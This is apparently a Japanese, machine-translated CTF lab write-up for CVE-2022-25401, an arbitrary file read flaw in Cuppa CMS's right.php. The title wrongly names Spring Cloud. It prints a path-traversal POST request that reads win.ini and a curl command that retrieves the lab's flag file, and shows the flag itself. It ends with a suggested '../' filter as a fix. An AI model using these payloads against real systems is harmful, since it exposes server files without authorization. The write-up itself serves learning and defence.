Spring Cloud 環境: CVE-2022-25401 (任意のファイル読み取りの脆弱性)

1. トピック

導入：

Cuppa CMS v1.0 のAdministrator/templates/default/html/windows/right.php ファイルには、任意のファイルを読み取る脆弱性があります。

トピックに入るのはログインページです

SQL とブルートフォースの両方には解決策がありません。

公式POC

国家情報セキュリティ脆弱性データベース

CVE 脆弱性の紹介

担当者が管理者なしで間違ったディレクトリを指定しました/見つからない

公式ポック

コードブロック:

POST /cuppa_cms/administrator/templates/default/html/windows/right.php HTTP/1.1
Host: 192.168.174.133
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Length: 272
Accept: */*
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.174.133
Referer: http://192.168.174.133/cuppa_cms/administrator/
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

id=1&path=component%2Ftable_manager%2Fview%2Fcu_views&uniqueClass=window_right_246232&url=../../../../../../windows/win.ini

Burp はパッケージをキャプチャして変更しましたが、失敗しました。ディレクトリに問題がある可能性があります。

2、curlアクセスフラグファイル

ディレクトリ template/default/html/windows/right.php を入力します。

ここで空白ページを返すということは、このファイルが存在することを意味し、存在しない場合は 404 を返します。

template/default/html ディレクトリに入ります

Windows ディレクトリ内の right.php

ソースコードを表示:

Kali のカールは、ルートディレクトリ内のフラグファイルへのアクセスを要求します。

curl は、ネットワーク要求を発行し、データを取得して抽出し、それを「標準出力」(stdout) に表示するために使用されるコマンドラインツールです。Web ページのソースコードを表示するためのさまざまなプロトコルをサポートしており、curl コマンドの後に直接 URL を追加すると、Web ページのソースコードを表示できます。

curl -X POST "http://xxx.ichunqiu.com/templates/default/html/windows/right.php" -d "url=../../../../../../../../../../../../flag"

旗を手に入れる

フラグ{fa417734-dac9-4947-831f-67b3ed302120}

添付：

脆弱性修復の提案
「/templates/default/html/windows/right.php」ファイルの 53 行目は、次のコードを追加することを提案しています。

$url = $_POST["url"];
if(strstr($url, "../") || strstr($url, "..\\")){
    echo "Security attack!";
    exit;
}
include realpath(DIR . '/../../../..')."/".$url;